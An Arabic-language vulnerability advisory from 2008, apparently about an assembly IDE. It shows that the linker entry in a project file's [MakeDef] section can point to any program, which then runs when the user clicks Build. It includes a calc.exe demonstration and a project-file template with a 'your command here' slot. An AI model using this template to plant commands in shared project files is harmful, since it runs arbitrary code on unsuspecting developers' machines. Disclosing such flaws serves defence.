السلام عليكم ورحمة الله تعالى وبركاته.
تاريخ الإكتشاف : 2008/11/25
المكتشف : DATA_SNIPER
النوع : Command Execution
الخطورة : عالية
الشرح:
تسمح هذه الثغرة بتشغيل Commands ضارة بالجهازة او تشغيل برامج لأهداف تخريبية،هنالك خطأ امني في البرنامج حيث انه يتيح من خلال خصائصه التي تكون محمولة او مكتوبة في ملف المشروع وضع إسم Linker وبرامج أخرى يعتمد عليها في الترجمة وما إلى ذلك، وذلك يكون موجود في المفتاح[MakeDef] الموجود في ملف المشروع وتكون بنيته بهذا الشكل:
[MakeDef]
Menu=0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0
1=4,O,$B\RC.EXE /v,1
2=3,O,$B\ML.EXE /c /coff /Cp /nologo /I"$I",2
3=5,O,$B\LINK.EXE /SUBSYSTEM:WINDOWS /RELEASE /VERSION:4.0 /LIBPATH:"$L" /OUT:"$5",3
4=0,0,,5
5=rsrc.obj,O,$B\CVTRES.EXE,rsrc.res
6=*.obj,O,$B\ML.EXE /c /coff /Cp /nologo /I"$I",*.asm
7=0,0,"$E\OllyDbg",5
لا حظ هذا:
3=5,O,$B\LINK.EXE /SUBSYSTEM:WINDOWS /RELEASE /VERSION:4.0 /LIBPATH:"$L" /OUT:"$5",3
$B هذا يعني المسار الإفتراضي الذي ادخله المستخدم في اعدادت البرنامج ،هل رئيت LINK.EXE ،ماذا لو غيرنا المصار مع ترك الأرقام التي تسبقها إلى.
c:/windows/calc.exe
سيتم تشغيل الآلة الحاسبة بعد الضغط على Build لأن عملية Build تستلزم تشغيل linker و ال linker، يشير من خلال ملف المشروع إلى calc.exe
ومنه نسيتطيع تغير مسار الآلة الحاسبة إلى اوامر كثيرة يمكن ان تسبب الضرر الكبير للمستخدم.
اي أن الإستثمار يكون كاتالي:
[MakeDef]
Menu=0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0
1=4,O,$B\RC.EXE /v,1
2=3,O,$B\ML.EXE /c /coff /Cp /nologo /I"$I",2
3=5,O,your command here
4=0,0,,5
5=rsrc.obj,O,$B\CVTRES.EXE,rsrc.res
6=*.obj,O,$B\ML.EXE /c /coff /Cp /nologo /I"$I",*.asm
7=0,0,"$E\OllyDbg",5
وهذه تضع بدلها الـ Command Execution
your command here
والسلام عليكم.